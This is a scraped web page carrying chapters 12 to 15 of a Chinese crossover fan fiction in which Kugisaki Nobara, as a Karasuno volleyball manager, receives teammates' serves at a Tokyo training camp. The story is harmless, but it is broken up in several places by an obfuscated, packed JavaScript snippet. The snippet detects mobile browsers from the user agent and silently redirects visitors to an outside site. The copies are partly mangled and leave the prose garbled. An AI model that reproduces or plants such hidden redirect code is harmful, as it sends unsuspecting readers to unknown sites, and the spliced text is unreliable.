0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163075|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像有强运哦！” “我明白了。”井上点点头，难怪自己最近老被排球砸，原来是神仙在这儿提醒他呢！果然，把钉崎野蔷薇招收进乌野高中，是他做过最正确的决定！ “好的，钉崎同学，你叫日向同学进来吧，我知道该怎么做了。”他摸出手机开始拨打小野老师的电话。 嗯，他们这位教导主任，有时候确实也挺单纯的。野蔷薇心想，感谢他的单纯，阿弥陀佛。 虽然没有办法帮他拔除咒灵，不过她确实没有说谎，如果乌野的校园氛围能好起来，那么这诅咒哪怕不会消失，也至少不会再滋生，也不会有更多的威胁了。 …… “真的吗？”仁花抹抹眼泪：“你不是因为想家，所以来东京找家人吗？” 怎么说呢，原本她真的已经完全放弃希望了。可当她看见井上三郎身上的诅咒时，她才恍惚间意识到，这依然是一个人类与咒灵共存的世界，只是比起怨气丛生的国际大都市东京，仙台这样人杰地灵的地方少有诅咒存在罢了。 不过这个世界的涩谷分明就毫发无损，高专也不存在了，想来她也没办法再见到五条老师、虎杖和伏黑他们了。 “真的不是。”钉崎野蔷薇叹了口气，安慰地摸了摸仁花的脑袋。 “哇啊啊啊啊啊！这就是——东京吗！！！好大！那是东京塔吧？？？” “啊不，那就是普通的铁塔……” “那是浅草寺吗？好厉害！” “那并不是……” “这里是不是离心斋桥挺近的，我要去吃玉子烧啊哈哈哈哈哈！” “远着呢……” 身边传来几段愚蠢的对话。野蔷薇无奈扶额。 “呦呦呦，小乌鸦们，wee to 东京。”黑尾铁朗揶揄一笑：“怎么，乡下人进城，被东京的美景吓到了吗。” 这个鸡冠头是谁？说话油腔滑调，长得一副坏蛋脸，像东京某些不成器不着调的诅咒师。野蔷薇狐疑地盯着他看，觉得他好欠揍啊。 “龙！”山本猛虎落泪呼唤兄弟：“好久不见！” “虎！”田总龙之介也兴奋地扑上去。 然而一切美好的画面在山本猛虎看见三个女孩子之后便荡然无存。 拥抱变成了巴掌，他冷漠地望着田中龙之介：“龙，这三位都是经理吗？” “嗯，对啊。”田中龙之介的鼻子翘得老高：“洁子女神你见过了，另外两位都是新加入的，啊对了，小野是最近才转学来乌野的哦。”他偷偷指了指野蔷薇，低声道：“听说她之前在东京上学呢。” “嗯，感觉到了。”黑尾铁朗轻轻勾唇：“有一股，很不好惹的味道。” “哈哈……”泽村大地刚想解释些什么，钉崎野蔷薇却先发制人起来。 “喂，鸡冠头，你看什么看？” “！” “！！” “！！！” 众人都惊了。 乌野的微惊，音驹的大惊…… “啊哈哈,哈哈哈哈……这孩子，额，就是这样直来直往的呢，哈哈，别介意……哈哈……哈哈哈……”菅原孝支几乎是乌野排球部里最先领教过钉崎野蔷薇厉害的人，他此刻只有一个想法： 死嘴！快解释啊！！ 12.第12章 乌野一行人浩浩荡荡地走进排球馆时，偌大的馆内却几乎已经满员。作为最后出场姗姗来迟的队伍，自然是成为了所有人视线的焦点。 “嚯，赤苇，快看啊！”木兔光太郎擦了擦额前的热汗，双手叉腰指着前方：“那就是乌野吗？居然有……有两个小个子！” 木兔的声音一向又大又洪亮，被指名道姓的“小个子”咬牙切齿地瞪着木兔光太郎，像是要把他掰开了撕碎了咽下去再拉出来一般。 主角之一的日向翔阳气冲冲地“哼”了一声：“可可可、可恶。” 主角之二的西谷夕却是哈哈大笑：“没关系的翔阳，既然不服气当然要用排球一决胜负啊！待会儿练习赛，看我们联手打爆他们！！！” “呼呼呼阿谷学长！太帅喽！”翔阳欢快地跳了起来。 “啊，猫头……”野蔷薇张大嘴巴盯着木兔光太郎，泽村大地眼疾手快地捂住了她的嘴巴。 “钉崎，咱们尽量少说话，好吗？”他讨好地笑了笑，第一次拿一个女生如此没辙。 钉崎野蔷薇眨巴着栗色的瞳仁点了点头。好吧，不说就不说喽，不过那个黑灰色头发的家伙真的好像猫头鹰啊。 “我看到了，木兔学长，不过人不可貌相这样的道理，你应该是懂的吧。”赤苇京治早已习惯了木兔光太郎的一惊一乍，他只是淡淡地附和，并低声道：“听音驹的黑尾学长说乌野很强，不仅有超乎想象的‘怪物速攻’，还有稳定发挥的主攻和自由人……不过最了不得的，似乎是如同精密仪器般精准托球的二传手影山飞雄。” “heyheyhey！赤苇！”木头光太郎不认同地摇摇脑袋：“身为二传，就要有秒杀所有二传的自信啊！” “啊，不……”赤苇京治顿了顿：“虽然我并不像木兔学长一样有那么强的实力，有足够自信的资本。不过就算乌野的二传再厉害，排球也终究是六个人的运动……也许我比不上影山，但是有木兔前辈和大家在，枭谷绝对不会输给乌野。” “没错没错！”木兔光太郎满意地应声。 “哼哼，你们先做热身，然后就是一对一开始轮流打练习赛，输了的队伍要绕场鱼跃一周哦。”黑尾铁朗双手环胸，笑嘻嘻地凑近日向翔阳：“我也很想知道，你们乌野跟枭谷这样全国顶尖的强校比起来如何呢？” 日向翔阳和影山飞雄的耳朵飞快竖起。 “全国——顶尖！！！？？？”两人眼中都闪烁着毫不畏惧的光芒，眸子里熊熊燃烧的烈火像是要把整个排球馆吞噬殆尽。 “砰！” 场馆内传来一声厚实又沉闷的巨响，一颗排球自左边的场地轰然砸在右边场地的线内，结结实实吓了所有人一跳。 “嘶——感觉好痛啊……”仁花抖了抖身子。 发球者是生川高中的队长强罗昌己，生川高中向来信奉“发球才是最强的攻击”，因此队员们每天训练结束之后都会以一百个发球的特训作为结尾。所以不仅仅是队长，几乎所有的队员都有能称之为“杀人发球”的绝技。 “虽说排球是六个人的运动，但是只有发球的时候，整个局面是由你一个人决定的。发球是一切的开始，谁掌握了发球，谁就掌握了结局……吗？”乌养系心垂眸思索。 清水洁子凝重地推了推眼镜，她打开随身携带的笔记本，默默写下一行字：“日常基础练习中，需要增加关于发球的训练……” “诶~有点意思。”西谷夕倒是起了兴趣。 “想接接看！”他与钉崎野蔷薇异口同声。 “？” “小野，你在说什么呢？”东峰旭吓出蛋花眼，他颤抖着唇打哈哈道：“别开玩笑，别闹了。” 钉崎野蔷薇眨眨眼，低声回：“谁开玩笑了，本小姐真的能接。” 最近，她的咒具偶尔会隐隐发烫，结合上次看见的咒灵，野蔷薇猜测也许不久之后自己的咒力就会恢复。如果咒力恢复了，是不是说明距离她回到原来世界的日子也不远了？ 在回去之前，她必须养好身体，保持完美的精神状态和身体素质。更何况作为咒术师，灵活的动作和强劲的耐摔打与抵抗力是必不可少的，应付普通人的体育运动也应当是绰绰有余的。 此言一出，排球馆内本有些分散开来的视线又再次聚焦而来。 “笨、笨蛋！”乌养系心终于明白泽村大地对钉崎野蔷薇有多么无奈了，他谦卑地挠挠头对众人道：“我们家新来的经理就是很喜欢胡说的性格呢，哈哈哈哈哈哈哈这孩子……” 乌养系心摸摸她的脑袋，带着一点恼火的私心将她柔顺的短发揉成一团乱麻。 野蔷薇嫌弃地脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192327|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离他的“魔爪”，却难得只是耸耸肩而没有接茬，可桀骜不驯与满不在乎的表情却是毫不掩饰的。 “噗哈哈哈哈听到了没有你个鳕鱼嘴，就连乌野的女经理都说能接你的发球，看来威力也不怎么样嘛。”森然高中的队长小鹿野大树一边龇牙咧嘴地揉着被排球剐蹭到的手臂，一边佯装轻松地出言嘲讽。 “咦？手臂不痛吗，队长？”球队经理大泷真子眯着眼偷笑。 “大泷你闭嘴！” 被cue到的强罗昌己厚唇一抿，黝黑的皮肤和高大的身躯使他看起来极有威慑力，他沉默着将视线自森然高中转移到乌野，而后果断地下了战书：“下一局，我们跟乌野高中打。” “！！！” “了不得啊野蔷薇！”田中龙之介哈哈大笑起来：“没想到瞎放狠话也能收到比赛邀请啊。” “heyheyhey我说生川的，那怎么行。”木兔光太郎大手一挥：“赤苇，告诉他们下一局的安排是什么！” 赤苇京治冷静地回忆：“按照各校对赛安排轮次表，下一局应该是由枭谷对战乌野。” “哦呀哦呀，或许，是不是应该先来一局猫和乌鸦宿命的对决呢？”黑尾铁朗也上前一步：“对赛安排轮次表什么的……那种东西不用遵守也没有问题吧？”他狡猾地在白板上“枭谷学园”四个字上打了个大大的叉。 “哈？太过分了黑尾！”木兔叫起来。 “小黑你怎么也凑热闹。”孤爪研磨觉得累累的，他想休息啊拜托。 “哇、哇哇哇哇哇！”日向翔阳超级兴奋的。“喂喂怎么回事啊，我没听错吧影山，哈哈哈哈哈哈哈，怎么忽然之间所有人都在争着抢着要跟我们比赛啊哈哈哈哈……” 他笑得像个不谙世事的孩子。 “有什么好开心的。”月岛萤烦躁地啧了一声：“你是不知疲倦的傻瓜吗？颠簸了一夜，觉也没有睡好饭也没有吃上，才刚一下车就要开始比赛，谁有那个精力和心情啊……” 他这样说着，转头却瞧见队内的各位早已露出虎视眈眈的眼睛，一个个亮着眼睛舔着唇，好似蹲守猎物的豺狼看见心仪的美味羊羔一般，随时都能扑上前去。 “既然如此，没什么好多说的。” 泽村大地摩拳擦掌：“轮流来吧，各位排球天才们。” 13.第13章 “鱼跃一周！” 泽村大地生无可恋地站在最前方，喊出今天的第四句“鱼跃一周”，尽管整个人已经疲惫到麻木，他也仍然还是沉稳地引导着队员做鱼跃惩罚。 “嘶……赤苇，乌野的……又输了？”木兔光太郎猛灌了一口水，有点惊奇地问。 “是的，木兔学长。”赤苇京治给他递了一条毛巾，偏头看了一眼记分板：“刚刚结束的那一场是乌野对战森然，一比二惜败。怎么说呢，乌野的实力不弱，但是也不算强，依我看来，可能还缺少一些杀手锏。” “不过黑尾学长说的确实没错，那对速攻组合很难对付。如果不是木兔学长你的攻势猛烈，乌野拦网较弱，恐怕方才咱们枭谷跟乌野对战的那一场也要缠斗一番。” “我果然是最强的heyheyhey！！！”木兔光太郎最爱听“真话”，给点阳光就灿烂，自嗨了几句后挂上调侃的笑意望着乌野众人做鱼跃，随后漫不经心地又喝下一口饮料，然而很快：“噗——” 不知道是瞧见了什么，他将刚刚喝进去的饮料一下子喷了出来。遭殃的自然是正好站在他旁边的赤苇。 “噗啊哈哈哈哈哈哈哈——赤、赤苇——啊哈哈哈哈你、你快看——哈哈哈哈！！！”木兔笑得肚子疼。 对自家主攻手精神跳跃、思维活泼这件事已经见怪不怪的二传手，淡定地抽回刚刚递出去的毛巾擦干脸和头发上的水渍，这才顺着他疯狂大笑的方向看过去。 只见乌野高中十几位排球部员的身后，赫然跟着那位嘴毒的独眼女经理。她穿着运动服，像模像样地做着鱼跃。 “……这是在干嘛。”见多识广如赤苇京治也看不懂这套路了。 因为动作最慢所以被泽村大地安排在最后一位的是月岛萤，听着身后女生“嘿咻嘿咻”的鱼跃动作，再看看周围外校队员投来的或好笑或惊诧、或佩服或同情的眼神，他真的觉得——好丢人…… “我说你啊，为什么非得跟着我们一起做惩罚不可呢？”他的语气冲冲的。 钉崎野蔷薇压根不理月岛萤，只是做了个更加标准的鱼跃，将他甩在了队伍的最末尾。 “居然无视我！”月岛萤彻底怒了。 果然，钉崎实在是太厉害了。排在倒数第二位的山口忠默默流汗，他很少见到阿月吃瘪的，明明一向只有他怼别人的份儿。 “小黑，你在看什么？”孤爪研磨问。 “啊，怎么说呢……我还是第一次看见这么——”黑尾铁朗沉默片刻，措辞半晌，思来想去只道：“这么——额……尽职尽责的球队经理啊，就连队伍输球做惩罚也要跟着一起，有这个必要吗？” 他略微震惊地指了指钉崎野蔷薇对孤爪研磨说：“话说，你不觉得她的鱼跃动作做得比乌野的小不点都更加规范标准吗？” 研磨微愣：“哦……的确如此。” 不过，还是翔阳有趣一些。他在心中默默念叨：毕竟只有像日向翔阳这样一步步进阶，从初级小怪打到终极boss的玩法才比较有意思啊。 他的视线慢吞吞落在日向翔阳的身上，那双慵懒又梳理的像猫咪一般的瞳仁骤然亮起一丝微弱的金光，那光亮转瞬即逝，却足以让黑尾铁朗窥见孤爪研磨眼底那一抹藏在平静海面之下的、汹涌的、庞大的兴致与专注。 “翔阳，可千万别让我失望啊。”他轻轻地低语着。 “……” * 晚餐之后，是自由训练的时间，排球馆场地有限，所以大馆内是好几个学校一起使用的。 白天这点运动量对日向翔阳和影山飞雄来说显然是远远不够的，两人正要找谷地仁花替他们扔球，却被钉崎野蔷薇一把拦住了去路。 “喂！你们看我怎么样？”她高昂着脑袋，眼神倨傲。 “怎么样？什么怎么样？”翔阳小心翼翼地问：“钉崎，你要帮我们抛球吗？你愿意？” 我的妈呀这个暴力女怎么主动说要做“苦力”，翔阳脑袋晕晕的。虽然说服教导主任的事，他很感激野蔷薇啦，只是他怎么也没办法想象她乖乖给他们抛球的模样。 他微微脑补了一下，把自己恶心到起了一层鸡皮疙瘩。 “没区别吧，那你来呗。”影山飞雄倒是毫不在意，只是问：“你知道怎么抛吗？” 钉崎野蔷薇嘿嘿一笑：“我不抛球，我要接球。” “你、你要接球？？？！！！” “喂喂喂，钉崎，你没说错吧？你真的要接球吗？”菅原孝支倒吸一口凉气，好心提醒：“别看日向和影山一副瘦弱的样子，可他们毕竟是男孩子，发起球来是不会手软的哦。” “嗯我知道，如果放水的话就无法起到加训的效果了吧？没关系，你们尽管来就好了。”野蔷薇活动着四肢，好像根本没把两人放在眼里。 菅原孝支还想再劝一劝，泽村大地却是拦住了他：“阿菅，不知道你注意到了没有，钉崎的手部和腿部肌肉似乎比寻常女生更加结实有力。” “没错。”清水洁子也点头应和：“野蔷薇入部的第一天我就发现了，所以我在想，她在转学来乌野之前，是不是也从事过某项强度较高的体育运动？并且，可能做的很不错哦。” 她长长的睫毛如蝴蝶振翅般上下轻扫了两下，低声说：“或许，我们可以让野蔷薇试一试。而且看了生川的比赛后，乌养教练和我也确实想要让大家多进行一些发球和扣球的练习。” 月岛萤蹙眉不解，他倦怠地叹了口气，径直拿起水壶和毛巾就往外走：“我要回去休息了，不知道你们是怎么想的，总之我是不相信那个鼻孔朝天的独眼暴力女。” 她的态度和表情有时候看起来跟影山飞雄那个劳什子“王者”很像，这也是月岛萤看不惯钉崎野蔷薇的原因之一。 “山口，你走不走？” “诶？” 不想走，山口忠不想走的。他垂眸纠结片刻，还是道：“阿月，你先走吧，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199913|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再练一会。你知道的，我本来就已经比不上你们了，就算不能作为正式队员上场比赛，我也不希望在大家遇到困境需要我的时候，我却无能为力。” “啊，是吗……”月岛萤完全理解山口忠，他顿了顿，还想再多说些鼓励的话，然而话到嘴边只吐出一句：“那你加油吧”。 “嗯！”可是山口忠已经觉得足够开心了。 “不是吧小野，明明我才是乌野的自由人啊。”西谷夕面色阴沉，双手交叉：“不过，既然你都这样说了，那就让你先来好了。” 他邪恶地歪起唇角问田中龙之介：“龙，你觉得我也来扣球怎么样？” “？” “别，你会被球网缠住的吧……”田中腹诽。 “一定会被球网缠住的吧。”众人一脸无言以对的样子。 “那，我和仁花来为大家托球吧。”清水洁子露出一点笑容：“野蔷薇，如果你觉得吃力的话，千万不要勉强哦。” “放心吧洁子学姐！” 钉崎野蔷薇咧开唇角，带着一点灼伤人的活力，笑得肆意妄为。 * 第一次见到这种场面，男子排球部的女经理居然要给自家队员接球，球网两端稀稀拉拉地站了不少看热闹的人。 强罗昌己也不练了，他瞪着眼睛，一脸严肃地叉着腰站在钉崎野蔷薇身后不远处。他倒要看看，这个女生到底是有多大的本事，居然能说出可以接到他的发球这种大言不惭的话来。 要知道，作为生川高中的队长，他带领部里的队员大大小小的比赛参加了这么多回，即使是最优秀的自由人也没法儿面不改色地说：“他强罗昌己的发球，我一定能接。” 有意思。 夜久卫辅挑着眉问西谷夕：“夕，你们部里的女经理是认真的？”他点了点自己的右眼示意道：“她这只眼睛……唔，她能看得清发球吧？” “不知道！看看再说吧！”西谷夕哈哈大笑起来。 “诶？”夜久卫辅扯了扯嘴角：“我以为你是很清楚她的实力才会让她这样胡来的呢……” “这排球砸到人会不会死人。”孤爪研磨一边低头研究游戏机，一边淡定地问。 “不会的吧……”山本猛虎思索片刻又补上一句：“也许。” 别说“也许”啊喂！黑尾铁朗有些无语。 他忽然想到了什么，转头问夜久卫辅：“夜久，列夫什么时候回来？” “哦……说是今天晚上回东京吧。这小子，早不去晚不去，偏偏在集训的时候回老家俄罗斯看望家里的老人，不会是故意逃避训练吧……”夜久吐槽完，又抬眸看了看排球馆墙上的钟表：“不过看这时间，他应该快要到了。” “嗯，那正好，应该来得及看上一场好戏。”黑尾铁朗满意地点点头。 这一边，野蔷薇已经准备就绪。她将腰间的锤子和钉子取下来在一边放好，系紧运动鞋的鞋带，这才扭了扭脖子站在了网对面。 14.第14章 “喂喂喂听说了吗？乌野的那个独眼女经理要接他们队员的发球呢！” “诶？骗人的吧？不过……貌似白天的时候有听到她说自己能接到生川队长的球来着，真的不是在胡言乱语吗？” “不知道……总之，走！去看看，他们在A馆！” “等等，我也去我也去！” …… “赤苇，怎么回事？”木兔光太郎刚发出一记强有力的超绝压线贴网球，就见周围本该用崇拜和惊艳目光望着他的人全都跑没影了。 不爽！ 赤苇京治擦了擦额头上的汗，环顾四周道：“木兔学长，他们似乎都去了A馆。” “怎么？那边有比赛？比我的小斜线球还精彩？”木兔噘着嘴三连问。 “啊……那是绝对不可能的。”赤苇一本正经地劝慰：“谁都知道咱们枭谷的王牌，也就是木兔学长你，乃是全国排名第五的王牌选手之一，除非另外那几位来了，否则谁能压过你的风头呢。” “说的也是。”木兔点点头，霸气地一挥手：“算了，赤苇，跟我走！去看看那边在搞什么名堂！” “好的，木兔学长。” 赤苇京治应和着跟了上去，心下却偷偷松了一口气，还好今天的木兔学长比较好说话，否则真闹起情绪来，今晚的训练估计又要泡汤了。 * A馆。 钉崎野蔷薇准备就绪，她随手将碎发撩到耳后，紧接着拍了两下掌，口中高喝一声：“来吧！” 清水洁子点点头，刚要向上抛球，乌养系心却出了声：“等一下清水。” 他摩挲着下巴道：“先让队员们自己排队发球过去吧。”毕竟还不清楚钉崎野蔷薇的实力，不能贸然采取类似二传“喂球”，球员扣杀的进攻方式，先发球试试水再说。 “有什么区别吗？”谷地仁花探出脑袋问。 “唔……”菅原孝支解释：“相对来说，自己发球是静态的，比较受球手个人水平的限制。打个比方，像日向这样只会原地发球而不会跳发球的选手，在比赛中如果是自己发球，在力量、速度、角度和线路，一定是远远小于由二传手影山抛出去的、可以让他跳跃扣杀的高球的。” “啊啊啊啊菅原学长！”日向翔阳尴尬地憋红了脸，结结巴巴地说：“我、我、我已经在练习跳发啦！” “哈哈。”菅原孝支望着他，温和地弯了弯唇：“简单来说，发球像是一颗远程导弹，而扣杀更像是一记重炮轰击吧。” “我想，乌养教练是担心钉崎受伤吧。” “是这样没错。”乌养系心颔首：“总之，大家的发球也确实更需要好好练习啊。” “你们全都上吧！”他露出洁白的牙齿，笑得像个恶人：“这次集训是春高前唯一一次长达一周的群体训练活动，既然来了这里，不管是生川高中的‘杀人发球’，森然高校的团队配合、音驹高中的多人同时进攻和无死角防守，还是枭谷学园超强的王牌实力，总之，咱们乌野绝不能空手而归！” “是！！！”众人斗志满满。 周围的人越来越多。 “哼哼，好小子们。”钉崎野蔷薇毫不畏惧：“管他发球还是扣杀，本大爷统统都能接的住！” “钉崎，我来了哦。”日向翔阳排在第一位，他往前走了几步，畏畏缩缩地拍了个软趴趴的球过去。 “……” 那球缓慢地，轻飘飘地向右半场钻去，野蔷薇登时就火大了起来：“我说，日向啊，你是在瞧不起我吗？” 她冷着脸吐出这一句话的同时，右手发力，直接一个下手接球就将它丢……不，应该说是锤了回去。 这一锤速度极快，明明是向上的线路，却莫名其妙地绕着网向日向翔阳旋转而来。 “单手垫球？！”众人惊奇地盯着这球诡异的行动路线，没承想它竟重重地怼在了翔阳的脸上。 “萝卜————” 日向翔阳大叫一声飞了出去。 “喂日向！” “啊啊啊啊没事吧日向！” “诶？翔阳！” “笨蛋！日向你个笨蛋怎么不躲！” 队友们瞬间围了上去。 “没……没事……”翔阳翻着白眼坐起身来：“就是感觉脑袋上有鸟在飞。嘿嘿。”他傻笑了两声，找补道：“咳咳咳我是故意的，我就是想试试这球的力道。” “……”你明明就是来不及躲了吧。 “拖下去，下一个！”钉崎野蔷薇冷漠地指挥，顺便拉下眼皮扮着鬼脸吐槽：“就你们这发球水平，还指望能晋级春高吗？” 钉崎野蔷薇虽然从来没有认认真真地打过排球，可是拜五条老师经常用各种各样的玩法磨炼他们的咒力所赐，她对排球这项运动的基本打法还算比较熟悉，并且出色的身体能力和灵活的头脑让她对于大部分运动都能信手拈来。更况且，作为咒术师，她的体术水平可已经算是不太够看的那一个了。 她无语地看着歪歪扭扭走到一边的日向，想着发发善心鼓励一下。于是用手做成喇叭状，拖着长音朝他道：“喂——日向——我有个跟你很像的朋友，但是啊，人家跑五十米只用了三秒钟哦，随便一跳就是五米十米的呦，行了行了别灰心，接着努力吧！” “谁信啊！”日向扶着腰扭头怒斥：“那还是人吗？？？”翔阳只当她在嘲讽。 “下一个，我来。”看了日向的惨状，影山飞雄不屑地捡起球。 他站在端线后深吸一口气，迈开左脚三步助跑，身体前倾脚掌用力，精准地将排球抛在离手三四米高，身体前上方约一臂远的距离。 双膝弯曲，降低重心，然后迅猛蹬地，同时双臂由后向前上方猛烈摆动，身体呈反弓形，用力将球打了出去。 “哦？不错嘛。”野蔷薇不惧反笑。 “哦呀哦呀，不愧是他。”黑尾铁朗面露惊讶：“距离第一次友谊赛的时候，他的发球力度和精确度又高了不少呢。” “那么，这边该怎么应对呢。”孤爪研磨早已收起了游戏机，因为他发现一场更有意思的游戏。 只见那球以极快的速度朝钉崎野蔷薇飞去，甚至真的是在一眨眼之间，它就破空出现在了野蔷薇眼前。 “野蔷薇！”西谷夕蹙眉喊道。 “笨蛋！太近了！”场外的夜久卫辅也看得清楚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205574|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这个速度，这个距离，感觉都要贴脸了啊。 不过，没事，现在后退还来得及……夜久捏紧拳头。 然而出乎所有人的意料，钉崎野蔷薇足尖抵地，用力一蹬，不仅不后退，反而朝那颗球迎了上去！ “砰！！！” 一声巨响，众人目瞪口呆地望着那排球因为强力和惯性高高地从野蔷薇手上弹起，然后疾速冲向了外侧的天花板。 所有人的目光像凝固了一般黏在球上，高昂着的脑袋顺着球的轨迹慢慢下落，场面有一些滑稽。 “我、我没看错吧，喂！”泽村大地不知道是惊诧还是欣喜：“钉崎她……她真的……没打过排球吗……” “手、手、手臂、手臂还好吗？”东峰旭害怕地抱住自己。 乌养系心双手环胸默默流汗，有些不敢置信地回道：“如果她是真的没打过排球，那么她对运动这方面，可以说是很有天赋了。” 武田一铁张大嘴巴推了推眼镜：“是啊，连我这个外行人都能看得出来，如果她进入女排队伍的话……”他不知想到了什么，忽然自言自语地一拍手道：“对啊，或许可以试试这样的办法呢……” 这一球飞得太过于高了，以致于它落下来的时候，众人的脖子已经有点儿酸胀。所以更悲催的是，就连它扑通一声地砸在推门而入的木兔光太郎头上，大家也没来得及反应过来。 “啊……”部员们愣愣地站在原地。 “哦！不好意思啊猫头鹰队长。”钉崎野蔷薇摆摆手，很不真诚地道着歉。 木兔光太郎被砸懵了，他保持着推门的动作一动不动。站在他身后的赤苇京治轻轻“啧”了一声，心道不好。 眨巴了几下豆豆眼睛，木兔指了指自己，扭身问赤苇京治：“猫头鹰队长，我吗？” 赤苇紧张地咽了一下口水，还没来得及想好措辞，自家王牌又开口了：“完蛋了赤苇 ，连这种球我都躲不开，我今天的状态果然很不好……”他越说音调越低，越说声音越小。 “太差劲了太废了太烂了……”木兔光太郎消沉地碎碎念着，赤苇京治顿觉一个头两个大。 不行！木兔前辈的消极模式必须在当天妥善解决，不能指望睡一觉就会自动恢复正常的活力。解铃还须系铃人，赤苇京治看着站成一字等着发球的乌野队员，连哄带劝地将木兔光太郎也推过去排了队。 “木兔学长。”赤苇小声对他说：“刚刚那一球很显然是一个意外，请停止你不合时宜的错误想法。因为就在几分钟之前，你还打出了一个近期最棒最难破解的压线贴网小斜线球，这恰恰证明你状态很好。” “另外——”他指了指钉崎野蔷薇：“不管是不是意外，难道你不想让乌野的女经理看看你真正的实力吗？” 木兔眼前一亮。 是啊，他刚才在B馆打出的那一球，路线完美，角度刁钻，力道猛烈，速度极快，即便是全国排名第一的自由人和副攻手，也几乎无法拦截，这还不能说明什么吗？ 原来如此，木兔光太郎握着拳抽泣：“谢谢你赤苇，我果然还是最强的啊！！！！” “精神……分裂？”野蔷薇歪着头思考。 15.第15章 见识到钉崎野蔷薇的实力之后，众人或多或少都意识到，他们真的小看了眼前这个女生。 于是，在轮到泽村大地发球之后，他已经可以做到没有丝毫犹豫地起步跳发了。 “好球！”野蔷薇笑着将球垫向高处：“下一个！” 下一球轮到东峰旭。 别看旭长相粗犷，身材高大，可是性格却是细腻敏感型的。钉崎野蔷薇在排球队内待了一段时间，也渐渐对他们每个人多了一些了解。 似是担心他有所顾虑，野蔷薇撩了一把额发，眉间冷冽，嘴角扬起锐利的弧度：“网的另一边都是敌人，这个道理你应该明白的吧旭学长。所以，别把我当成队友，把我当成你的必须打败的对手来看，可千万不要对我手下留情哦！” 东峰旭摆好动作，沉默着点了点头，只是当他跳起来想要触球时，还是忍不住下意识放轻了动作。 “东峰！”乌养系心看在眼里，语气略带严肃。 接收到教练的信号，东峰旭这才赫然醒悟，手掌拍下去的动作再次由轻变重。 “不好！”东峰旭咬牙：“钉崎小心！我不小心用力过猛了！” “收到。”野蔷薇看见那颗排球高速冲自己而来，不仅不害怕，反倒像是看见了什么美味，舔着唇眼冒金光，垫了垫步调整动作，以迅雷不及掩耳之势身体前倾，结结实实地承接下来这一球。 这一球球速极高，带着旋转的势头朝野蔷薇冲去的时候，很像一颗带着火星子的陨石。 翔阳像触电了一般弹起来，心里首先想的是：为什么能发出这种球的人不是自己？可紧接着他便又想：幸好接这球的人也不是自己，嘻嘻。 谷地仁花口吐白沫已经快要晕死过去了：“好……好可怕……” “仁花？！”清水洁子吓了一跳。 “喂……”强罗昌己在一旁看了几球，已经有点相信钉崎野蔷薇说的话了。他不可置信地问一旁休息的日向翔阳：“小个子，你们队的女经理……” 他指了指野蔷薇。 “她之前难不成是女排社团的正式队员吗？” “诶？”翔阳挠挠头：“是吗？不知道，没听她说起过，应该不是吧。”他捂着肿胀的右脸含糊不清地说道：“话说，我不是小个子啦……好、好吧，跟你比起来确、确实矮了那么一点点，只有一点点哦！” 强罗昌己双手环胸俯视着他，黝黑的皮肤和厚实的嘴唇，加上不含善意的眼神，任谁看到他都会有些畏惧。翔阳哆哆嗦嗦地咽下一口口水，默默移开视线念叨：鳕鱼嘴…… “鳕鱼嘴”强罗并没多说什么，只是轻轻向日向翔阳欠了欠身，而后自然地站在木兔光太郎身后排起了队。 山本猛虎不解：“那个，研磨，乌野高中的就算了，怎么连枭谷的木兔学长和生川的强罗学长也去排队发球啊……”他紧紧蹙眉：“这个独眼女有那么厉害？明明这样的发球夜久学长也能接啊！” 夜久卫辅听罢害羞地垂眸笑了笑：“啊，哈哈哈……但是，我本来就是自由人啊，能接到发球是应该的吧。” 孤爪研磨点点头：“就是这样。” “喂！研磨！夸我一句会怎么样啊！”夜久怒了。 “乌野的这位女经理，看起来纤弱，其实手部力量很足，下盘也很稳呢。”黑尾铁朗思索：“不知道你们注意到了没有，刚才轮到乌野那个长发胡子王牌发球的时候，他似乎有意想要收敛一些力道，但是被乌养教练看出来了。” “所以呢？”几人偏头望着他，像是几只嗷嗷待哺的猫猫。 “所以，刚才那一球对于接球者来说，经历了由重到轻再到重的转变，即使是十分成熟的自由人也有漏接的失误，可那个叫钉崎的女经理却稳稳地将球接起来，还送去了二传手的位置。” “唔，真的很有趣呢，乌野。”黑尾铁朗眯了眯眼：“她以前究竟是练什么运动的？居然有这么高精度的灵敏性和机动性。” 孤爪研磨眨巴着眼：“我……” “好好好我知道。”黑尾无奈地摊着手：“你还是更看中小不点，对吧研磨？” “……” 